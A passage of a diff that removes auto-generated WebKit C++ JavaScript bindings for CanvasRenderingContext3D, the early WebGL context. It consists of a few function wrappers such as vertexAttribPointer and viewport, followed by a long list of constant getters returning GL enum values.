-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned indx = args.at(0).toInt32(exec);
-    float x = args.at(1).toFloat(exec);
-    float y = args.at(2).toFloat(exec);
-    float z = args.at(3).toFloat(exec);
-
-    imp->vertexAttrib3f(indx, x, y, z);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib3fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->vertexAttrib3fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib4f(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned indx = args.at(0).toInt32(exec);
-    float x = args.at(1).toFloat(exec);
-    float y = args.at(2).toFloat(exec);
-    float z = args.at(3).toFloat(exec);
-    float w = args.at(4).toFloat(exec);
-
-    imp->vertexAttrib4f(indx, x, y, z, w);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib4fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->vertexAttrib4fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttribPointer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned indx = args.at(0).toInt32(exec);
-    int size = args.at(1).toInt32(exec);
-    unsigned type = args.at(2).toInt32(exec);
-    bool normalized = args.at(3).toBoolean(exec);
-    int stride = args.at(4).toInt32(exec);
-    unsigned offset = args.at(5).toInt32(exec);
-
-    imp->vertexAttribPointer(indx, size, type, normalized, stride, offset);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionViewport(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int x = args.at(0).toInt32(exec);
-    int y = args.at(1).toInt32(exec);
-    unsigned width = args.at(2).toInt32(exec);
-    unsigned height = args.at(3).toInt32(exec);
-
-    imp->viewport(x, y, width, height);
-    return jsUndefined();
-}
-
-// Constant getters
-
-JSValue jsCanvasRenderingContext3DDEPTH_BUFFER_BIT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x00000100));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BUFFER_BIT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x00000400));
-}
-
-JSValue jsCanvasRenderingContext3DCOLOR_BUFFER_BIT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x00004000));
-}
-
-JSValue jsCanvasRenderingContext3DFALSE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0));
-}
-
-JSValue jsCanvasRenderingContext3DTRUE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(1));
-}
-
-JSValue jsCanvasRenderingContext3DPOINTS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0000));
-}
-
-JSValue jsCanvasRenderingContext3DLINES(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0001));
-}
-
-JSValue jsCanvasRenderingContext3DLINE_LOOP(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0002));
-}
-
-JSValue jsCanvasRenderingContext3DLINE_STRIP(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0003));
-}
-
-JSValue jsCanvasRenderingContext3DTRIANGLES(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0004));
-}
-
-JSValue jsCanvasRenderingContext3DTRIANGLE_STRIP(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0005));
-}
-
-JSValue jsCanvasRenderingContext3DTRIANGLE_FAN(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0006));
-}
-
-JSValue jsCanvasRenderingContext3DZERO(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0));
-}
-
-JSValue jsCanvasRenderingContext3DONE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(1));
-}
-
-JSValue jsCanvasRenderingContext3DSRC_COLOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0300));
-}
-
-JSValue jsCanvasRenderingContext3DONE_MINUS_SRC_COLOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0301));
-}
-
-JSValue jsCanvasRenderingContext3DSRC_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0302));
-}
-
-JSValue jsCanvasRenderingContext3DONE_MINUS_SRC_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0303));
-}
-
-JSValue jsCanvasRenderingContext3DDST_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0304));
-}
-
-JSValue jsCanvasRenderingContext3DONE_MINUS_DST_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0305));
-}
-
-JSValue jsCanvasRenderingContext3DDST_COLOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0306));
-}
-
-JSValue jsCanvasRenderingContext3DONE_MINUS_DST_COLOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0307));
-}
-
-JSValue jsCanvasRenderingContext3DSRC_ALPHA_SATURATE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0308));
-}
-
-JSValue jsCanvasRenderingContext3DFUNC_ADD(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8006));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND_EQUATION(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8009));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND_EQUATION_RGB(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8009));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND_EQUATION_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x883D));
-}
-
-JSValue jsCanvasRenderingContext3DFUNC_SUBTRACT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x800A));
-}
-
-JSValue jsCanvasRenderingContext3DFUNC_REVERSE_SUBTRACT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x800B));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND_DST_RGB(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80C8));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND_SRC_RGB(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80C9));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND_DST_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80CA));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND_SRC_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80CB));
-}
-
-JSValue jsCanvasRenderingContext3DCONSTANT_COLOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8001));
-}
-
-JSValue jsCanvasRenderingContext3DONE_MINUS_CONSTANT_COLOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8002));
-}
-
-JSValue jsCanvasRenderingContext3DCONSTANT_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8003));
-}
-
-JSValue jsCanvasRenderingContext3DONE_MINUS_CONSTANT_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8004));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND_COLOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8005));
-}
-
-JSValue jsCanvasRenderingContext3DARRAY_BUFFER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8892));
-}
-
-JSValue jsCanvasRenderingContext3DELEMENT_ARRAY_BUFFER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8893));
-}
-
-JSValue jsCanvasRenderingContext3DARRAY_BUFFER_BINDING(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8894));
-}
-
-JSValue jsCanvasRenderingContext3DELEMENT_ARRAY_BUFFER_BINDING(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8895));
-}
-
-JSValue jsCanvasRenderingContext3DSTREAM_DRAW(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x88E0));
-}
-
-JSValue jsCanvasRenderingContext3DSTATIC_DRAW(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x88E4));
-}
-
-JSValue jsCanvasRenderingContext3DDYNAMIC_DRAW(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x88E8));
-}
-
-JSValue jsCanvasRenderingContext3DBUFFER_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8764));
-}
-
-JSValue jsCanvasRenderingContext3DBUFFER_USAGE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8765));
-}
-
-JSValue jsCanvasRenderingContext3DCURRENT_VERTEX_ATTRIB(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8626));
-}
-
-JSValue jsCanvasRenderingContext3DFRONT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0404));
-}
-
-JSValue jsCanvasRenderingContext3DBACK(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0405));
-}
-
-JSValue jsCanvasRenderingContext3DFRONT_AND_BACK(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0408));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_2D(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0DE1));
-}
-
-JSValue jsCanvasRenderingContext3DCULL_FACE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B44));
-}
-
-JSValue jsCanvasRenderingContext3DBLEND(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0BE2));
-}
-
-JSValue jsCanvasRenderingContext3DDITHER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0BD0));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_TEST(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B90));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_TEST(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B71));
-}
-
-JSValue jsCanvasRenderingContext3DSCISSOR_TEST(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0C11));
-}
-
-JSValue jsCanvasRenderingContext3DPOLYGON_OFFSET_FILL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8037));
-}
-
-JSValue jsCanvasRenderingContext3DSAMPLE_ALPHA_TO_COVERAGE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x809E));
-}
-
-JSValue jsCanvasRenderingContext3DSAMPLE_COVERAGE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80A0));
-}
-
-JSValue jsCanvasRenderingContext3DNO_ERROR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0));
-}
-
-JSValue jsCanvasRenderingContext3DINVALID_ENUM(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0500));
-}
-
-JSValue jsCanvasRenderingContext3DINVALID_VALUE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0501));
-}
-
-JSValue jsCanvasRenderingContext3DINVALID_OPERATION(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0502));
-}
-
-JSValue jsCanvasRenderingContext3DOUT_OF_MEMORY(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0505));
-}
-
-JSValue jsCanvasRenderingContext3DCW(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0900));
-}
-
-JSValue jsCanvasRenderingContext3DCCW(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0901));
-}
-
-JSValue jsCanvasRenderingContext3DLINE_WIDTH(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B21));
-}
-
-JSValue jsCanvasRenderingContext3DALIASED_POINT_SIZE_RANGE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x846D));
-}
-
-JSValue jsCanvasRenderingContext3DALIASED_LINE_WIDTH_RANGE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x846E));
-}
-
-JSValue jsCanvasRenderingContext3DCULL_FACE_MODE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B45));
-}
-
-JSValue jsCanvasRenderingContext3DFRONT_FACE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B46));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_RANGE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B70));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_WRITEMASK(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B72));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_CLEAR_VALUE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B73));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_FUNC(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B74));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_CLEAR_VALUE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B91));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_FUNC(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B92));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_FAIL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B94));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_PASS_DEPTH_FAIL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B95));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_PASS_DEPTH_PASS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B96));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_REF(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B97));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_VALUE_MASK(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B93));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_WRITEMASK(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0B98));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BACK_FUNC(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8800));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BACK_FAIL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8801));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BACK_PASS_DEPTH_FAIL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8802));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BACK_PASS_DEPTH_PASS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8803));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BACK_REF(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CA3));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BACK_VALUE_MASK(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CA4));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BACK_WRITEMASK(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CA5));
-}
-
-JSValue jsCanvasRenderingContext3DVIEWPORT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0BA2));
-}
-
-JSValue jsCanvasRenderingContext3DSCISSOR_BOX(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0C10));
-}
-
-JSValue jsCanvasRenderingContext3DCOLOR_CLEAR_VALUE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0C22));
-}
-
-JSValue jsCanvasRenderingContext3DCOLOR_WRITEMASK(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0C23));
-}
-
-JSValue jsCanvasRenderingContext3DUNPACK_ALIGNMENT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0CF5));
-}
-
-JSValue jsCanvasRenderingContext3DPACK_ALIGNMENT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D05));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_TEXTURE_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D33));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_VIEWPORT_DIMS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D3A));
-}
-
-JSValue jsCanvasRenderingContext3DSUBPIXEL_BITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D50));
-}
-
-JSValue jsCanvasRenderingContext3DRED_BITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D52));
-}
-
-JSValue jsCanvasRenderingContext3DGREEN_BITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D53));
-}
-
-JSValue jsCanvasRenderingContext3DBLUE_BITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D54));
-}
-
-JSValue jsCanvasRenderingContext3DALPHA_BITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D55));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_BITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D56));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_BITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0D57));
-}
-
-JSValue jsCanvasRenderingContext3DPOLYGON_OFFSET_UNITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2A00));
-}
-
-JSValue jsCanvasRenderingContext3DPOLYGON_OFFSET_FACTOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8038));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_BINDING_2D(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8069));
-}
-
-JSValue jsCanvasRenderingContext3DSAMPLE_BUFFERS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80A8));
-}
-
-JSValue jsCanvasRenderingContext3DSAMPLES(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80A9));
-}
-
-JSValue jsCanvasRenderingContext3DSAMPLE_COVERAGE_VALUE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80AA));
-}
-
-JSValue jsCanvasRenderingContext3DSAMPLE_COVERAGE_INVERT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x80AB));
-}
-
-JSValue jsCanvasRenderingContext3DNUM_COMPRESSED_TEXTURE_FORMATS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x86A2));
-}
-
-JSValue jsCanvasRenderingContext3DCOMPRESSED_TEXTURE_FORMATS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x86A3));
-}
-
-JSValue jsCanvasRenderingContext3DDONT_CARE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1100));
-}
-
-JSValue jsCanvasRenderingContext3DFASTEST(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1101));
-}
-
-JSValue jsCanvasRenderingContext3DNICEST(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1102));
-}
-
-JSValue jsCanvasRenderingContext3DGENERATE_MIPMAP_HINT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8192));
-}
-
-JSValue jsCanvasRenderingContext3DBYTE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1400));
-}
-
-JSValue jsCanvasRenderingContext3DUNSIGNED_BYTE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1401));
-}
-
-JSValue jsCanvasRenderingContext3DSHORT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1402));
-}
-
-JSValue jsCanvasRenderingContext3DUNSIGNED_SHORT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1403));
-}
-
-JSValue jsCanvasRenderingContext3DINT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1404));
-}
-
-JSValue jsCanvasRenderingContext3DUNSIGNED_INT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1405));
-}
-
-JSValue jsCanvasRenderingContext3DFLOAT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1406));
-}
-
-JSValue jsCanvasRenderingContext3DFIXED(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x140C));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_COMPONENT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1902));
-}
-
-JSValue jsCanvasRenderingContext3DALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1906));
-}
-
-JSValue jsCanvasRenderingContext3DRGB(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1907));
-}
-
-JSValue jsCanvasRenderingContext3DRGBA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1908));
-}
-
-JSValue jsCanvasRenderingContext3DLUMINANCE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1909));
-}
-
-JSValue jsCanvasRenderingContext3DLUMINANCE_ALPHA(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x190A));
-}
-
-JSValue jsCanvasRenderingContext3DUNSIGNED_SHORT_4_4_4_4(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8033));
-}
-
-JSValue jsCanvasRenderingContext3DUNSIGNED_SHORT_5_5_5_1(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8034));
-}
-
-JSValue jsCanvasRenderingContext3DUNSIGNED_SHORT_5_6_5(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8363));
-}
-
-JSValue jsCanvasRenderingContext3DFRAGMENT_SHADER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B30));
-}
-
-JSValue jsCanvasRenderingContext3DVERTEX_SHADER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B31));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_VERTEX_ATTRIBS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8869));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_VERTEX_UNIFORM_VECTORS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DFB));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_VARYING_VECTORS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DFC));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_COMBINED_TEXTURE_IMAGE_UNITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B4D));
-}
-
